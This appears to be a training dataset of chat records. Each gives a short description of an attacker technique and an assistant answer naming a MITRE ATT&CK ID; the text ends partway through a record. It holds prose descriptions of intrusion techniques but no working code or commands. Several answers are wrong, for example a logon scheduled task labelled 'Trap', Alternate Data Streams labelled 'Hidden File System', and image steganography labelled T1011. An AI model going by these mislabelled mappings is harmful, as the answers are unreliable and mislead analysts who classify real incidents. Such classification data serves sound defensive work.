    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors inserted a malicious plugin into a popular IDE extension marketplace, leading to widespread infection of development environments."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker configures a compromised internal web server to act as a forward proxy, routing all malicious traffic through it to obscure the source."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised installer registers a hostile DLL as an AppCert DLL, which is then executed by the host application without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a workstation, the intruder enumerated shared folders and used the hidden administrative share C$ to deploy a credential‑stealing tool via SMB."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary's malware leverages a domain generation algorithm that generates domains using the current UNIX timestamp, cycling through a pool of 1,000 possible names."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use asymmetric encryption to obfuscate their C2 traffic, employing a public‑key infrastructure to encrypt commands sent to compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used Mimikatz to extract plaintext passwords and Kerberos tickets from the LSASS process memory on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the adversary modified the PAM configuration files to include a rogue authentication module that logs all login attempts."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool extracts credential blobs from the Windows Credential Store for further reuse."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor compromises a printer’s firmware update server, distributing a tampered driver that installs a backdoor on all connected workstations."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the built‑in Windows Camera Capture utility (mscamera.exe) to start video recording as a scheduled task."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploited the odbcconf utility to inject a malicious ODBC driver into the system registry, causing automatic loading of a malicious DLL during driver initialization."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware recruited compromised printers into a botnet for internal reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker places a malicious .scr file and sets it as the default screensaver, causing the payload to run whenever the screensaver activates."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor enumerates credential entries in the Mozilla Firefox login database and exfiltrates them."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a remote administration tool to pull saved credentials from Windows Credential Manager across the network."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor encodes payloads using a proprietary Base64 variant that replaces '+' and '/' with '_' and '-' and appends a checksum."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary accessed the site's admin panel via a weak password and changed the site's welcome message to a defacement statement."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group employs search engine scraping to enumerate open directories and pages associated with the target domain."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses PowerShell to enumerate and attach to existing RDP sessions on a compromised server."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat uses a zero‑day exploit to trigger kernel panic, leading to immediate data loss on affected machines."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses the macOS launchctl utility to register a malicious launch daemon that runs with root privileges each time the system boots."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uploads confidential files to a private GitHub repository using a scripted git push to hide the data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT actors generate a self‑signed certificate to encrypt exfiltrated data before transmission."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a scheduled task that runs a malicious payload whenever a user logs onto the system."
            },
            {
                "role": "assistant",
                "content": "T1546.005 - Event Triggered Execution: Trap"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers obtain a GitHub Actions workflow token and use it to perform unauthorized repository modifications."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor embeds malicious JavaScript inside a legitimate Office macro, which then writes the payload to a temporary PowerShell variable and runs it without creating a file."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor overwrites the PATH environment variable in a user’s profile, ensuring that any execution of a program like 'python' launches their payload first."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code initiated a DCSync request, impersonating a domain controller to collect credential data from the directory."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor used VNC software to gain interactive sessions on infected workstations."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing payload runs 'systeminfo' and parses the output to capture the system’s hardware profile."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion utilizes a webhook configured in a cloud monitoring service to push logs containing sensitive information."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers tamper with recovery partitions and erase recovery images, making system rollback impossible."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exfiltrating data, the threat actor executed a command to delete the victim's local admin account on all workstations."
            },
            {
                "role": "assistant",
                "content": "T1531 - Account Access Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses public WHOIS databases to enumerate the IP address blocks owned by the target organization."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised sysadmin added a malicious transport filter to the mail pipeline, enabling the exfiltration of all internal communications."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware opens a WinRM listener on port 5985 to receive commands from the command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential harvester creates a symmetric encryption channel over SMTP to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves installing a malicious transport agent that runs with SYSTEM privileges whenever mail is processed."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting the DCOM protocol, the adversary initiates remote procedure calls to a compromised machine, using COM objects to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group tampers with the internal VM template library, inserting malicious code that executes on every new VM."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group copies encrypted documents to a remote WebDAV share as a staging point."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use mimikatz to read the SAM database and obtain clear‑text credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs cookie poisoning, inserting a malicious session cookie into the victim's browser to bypass authentication."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor uses DNS spoofing to impersonate a trusted internal server, redirecting traffic to a malicious host."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a legitimate domain service account to execute commands on remote hosts via WMIC."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a buffer overflow in a privileged service on a Windows workstation, causing the system to crash and become unavailable."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employed a steganographic technique, embedding exfiltrated data within image files uploaded to a public image hosting site."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker captures a snapshot of the securityd process on macOS/iOS to harvest saved passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors replace the legitimate Microsoft network provider library with a custom DLL to capture logon passwords."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employs IPv4 address masquerading to get past network address translation devices."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting ptrace, the actor is able to perform code injection into a running binary, bypassing normal security controls."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the AppInit_DLLs registry value to load a malicious DLL at system startup, achieving persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor deploys a fake system binary and disguises it by using the exact name of a trusted Windows service executable."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a compromised internal server to act as a proxy, relaying traffic between compromised hosts and the external C2 server."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses Alternate Data Streams to embed malicious executables within legitimate PDF files, keeping the payload hidden from file listings."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat uses a DLL that hooks input APIs to record both keystrokes and voice dictation commands for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After obtaining the RDP session ID, the attacker reuses it to connect to the remote host, bypassing multi‑factor authentication."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By using credentials from one system to access cloud services associated with that system, an attacker can move laterally into cloud infrastructure in addition to on-premises networks."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload was processed with a tool that wipes out embedded timestamps and version numbers, ensuring no tool-related artifacts remain."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a script to read /proc/[pid]/environ across multiple processes to gather API keys and passwords."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leverages link farms and keyword stuffing to push a phishing site into the first page of Google searches for banking login pages."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder queries search engines for PDF files containing embedded digital certificates linked to a target."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker installed TeamViewer on the victim machine to maintain persistent remote control."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Extracts video files from the user's Media folder for data theft."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet utilizes the Twitter API to receive short command strings embedded in tweets."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider added unauthorized DNS entries to facilitate lateral movement within the network."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group installs a scheduled task that invokes wscript.exe to run a malicious JScript payload every 15 minutes."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a Word document triggers a PowerShell command that bypasses UAC and runs as administrator."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses an obsolete cloud region in Tencent Cloud to launch a phishing campaign, exploiting the region’s missing security controls."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a legitimate development tool's proxy execution capability to run arbitrary commands on a target host."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised email server captures MFA verification codes sent via email, allowing the attacker to complete the login."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware runs a batch file that calls 'diskpart' to clean all disks, removing all data."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses the \"fodhelper.exe\" bypass technique, placing a malicious control file in the registry to cause fodhelper.exe to launch the payload with elevated rights without prompting UAC."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email delivered a macro that logged into Confluence with stolen credentials to copy repository data."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
